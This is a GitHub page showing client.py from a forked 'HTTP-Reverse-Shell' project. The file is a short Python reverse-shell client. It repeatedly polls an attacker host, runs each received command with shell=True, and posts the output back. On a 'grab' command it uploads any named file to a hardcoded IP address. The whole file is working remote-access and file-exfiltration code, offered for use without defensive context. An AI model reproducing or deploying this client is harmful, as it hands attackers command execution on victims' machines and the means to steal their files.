forked from apurvsinghgautam/HTTP-Reverse-Shell
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathclient.py
More file actions
30 lines (24 loc) · 1.2 KB
/
client.py
File metadata and controls
30 lines (24 loc) · 1.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#Client
import requests #Library to be installed and imported
import subprocess
import time
import os
while True:
req = requests.get('http://<HOSTIP>') # Send GET request to host machine
command = req.text # Store the received txt into command variable
if 'terminate' in command:
break
elif 'grab' in command:
grab,path=command.split('*')
if os.path.exists(path):
url='http://192.168.197.44/store' #Append /store in the URL #not sure what this does
files = {'file': open(path, 'rb')} # Add a dictionary key where file will be stored
r=requests.post(url, files=files) # Send the file
#requests library use POST method called "multipart/form-data"
else:
post_response = requests.post(url='http://<HOSTIP>', data='[-] Not able to find the file !' )
else:
CMD = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,shell=True)
post_response = requests.post(url='http://<HOSTIP>', data=CMD.stdout.read() )
post_response = requests.post(url='http://<HOSTIP>', data=CMD.stderr.read() )
time.sleep(3)